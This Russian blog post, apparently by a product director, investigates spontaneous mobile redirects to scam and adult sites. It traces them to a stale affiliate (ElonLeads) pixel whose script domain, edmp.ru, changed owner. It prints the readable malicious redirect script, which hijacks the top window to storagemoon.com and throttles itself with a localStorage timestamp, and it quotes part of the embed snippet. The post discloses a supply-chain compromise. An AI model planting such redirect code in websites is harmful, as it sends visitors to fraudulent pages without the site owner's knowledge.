Технологии безопасности

Сайт посвященный вопросам безопасности

Расследование: куда ваш сайт редиректит пользователей, а вы об этом даже не подозреваете

Добрый день!

Меня зовут Максим и я директор по продуктам. Эта история началась с того, что однажды я зашел с мобильного телефона на наш сайт и, к своему большому удивлению, был перенаправлен на сайт какой-то интернет-рулетки. Попробовал зайти еще раз – проблема не повторяется, подумал что глюк. Попросил коллег попробовать зайти с мобильного телефона – и волосы встали дыбом. Один «стал миллионным посетителем и выиграл машину», второй – «получил подарочный депозит на форекс», третий был обрадован «ваучером на 50 000 рублей», а многие вообще попали на сайты с нескромно одетыми женщинами, делающими всякое. Для тех кто задумался о том, что может быть причиной, подсказка – сайт не взламывали. Вредоносный код мы добавили сами, пользуясь одним популярным маркетинговым инструментом. Расследование под катом.

Проблема

Спонтанные редиректы на сторонние сайты с сомнительным контентом при заходе на наш сайт с мобильных устройств.

Подозрения

Партнерский js-код
Встраивание со стороны интернет-провайдеров (парсинг и изменение трафика)
Проблемы с телефоном, например вирус

Расследование

Проблема воспроизводилась на разных устройствах, в том числе на эмуляторе, а значит дело не в телефоне. Также редирект повторялся у всех операторов и на wi-fi. Значит дело в партнерском коде.

При помощи Chrome DevTools мы эмулировали мобильное устройство и стали пытаться воспроизвести редирект. Поймали! В сетевых логах нашлась уйма странных подгруженных ресурсов. Проверить их содержимое не удалось – при переходе браузер сохраняет пути к файлам, но не их содержимое. Остался только первый переход – storagemoon.com – агрегатор, который выкидывал через цепь редиректов на сомнительные сайты.

Ладно, тогда мы пойдём другим путем.

В консоли браузера вставляем отладочный код:

window.addEventListener("beforeunload", function() { debugger; }, false)

Он отрабатывает при начале перехода на новую страницу. Далее стали заходить на Фоксфорд, вычищая кэш. В очередной раз снова повезло – переход инициировал скрипт по адресу edmp.ru/pix/as_551.js.

Пруф:

Сам скрипт затягивался из партнерского кода ElonLeads.

Справедливости ради, с ElonLeads мы уже не работаем несколько месяцев, но после отключения не убрали код ретаргетинга.

Разбор работы этого скрипта для мобильных устройств (скрипт по этому адресу с десктопа выглядит иначе):

При первой загрузке скрипта пользователя перенаправляет по адресу storagemoon.com. Кроме этого, в localStorage записывается под ключом ”MenuIdentifier” следующее время редиректа, а именно ровно через сутки. В течение суток скрипт будет вести себя тихо и никому не мешать.

Однако на бекенде тоже есть какая-то логика. Потому что данный скрипт подгружается только на мобильных, и не всегда в первый раз.
Возможно, каждому 10-му, например, или через какое-то время. Возможно, запоминается IP. Иначе должен быть редирект сразу после очистки localStorage.

Сам код скрипта в читаемом виде:

function() {
function t() {
return !!localStorage.getItem(a)
}

function e() {
o(), parent.top.window.location.href = c
}

function o() {
var t = r + i;
localStorage.setItem(a, t)
}

function n() {
if (t()) {
var o = localStorage.getItem(a);
r > o && e()
} else e()
}
var a = "MenuIdentifier",
r = Math.floor((new Date).getTime() / 1e3),
c = "http://storagemoon.com",
i = 86400;
n()
}();

В дополнение, можно заметить по истории whois, что домен edmp.ru, с которого загружается скрипт, уводящий пользователя в неведомые дали, поменял владельца с ELONLID, LLC на Private Person. Видимо, тогда и начались фокусы.

И, в заключение, партнерский код ElonLeads, затягивающий именно этот edmp.ru/pix/as_551.js:

<script defer="defer" id="elpix">
try {

(function(){
window.elon = {
shop: 4,
user: {{user_id}}
};
var script = document.getElementById(‘elpix’), as_name = ‘as_551’, as = document.createElement(‘script’);

Что произошло (на наш взляд)

ElonLeads, CPA сеть, счётчики которой стояли на тысячах сайтов, потеряла (продала?) доступ к домену edmp.ru. С этого домена тянулся js скрипт, который веб-мастера устанавливали на сайт, чтобы присоединиться к CPA сети. Злоумышленники смогли подменить скрипт и продолжают зарабатывать деньги на редиректах на сомнительные сайты. Были ли они в сговоре с ElonLeads – неизвестно. Однако своих партнёров ElonLeads никак не предупредила о смене кода счётчиков. Поэтому, возможно, и с вашего сайта тоже идут редиректы на интернет рулетки и прочий развод.

Надеюсь, эта статья поможет тем, кого в данный момент также обманывают CPA-сети.

В расследовании участвовали: obdolbacca, tauron, gremglee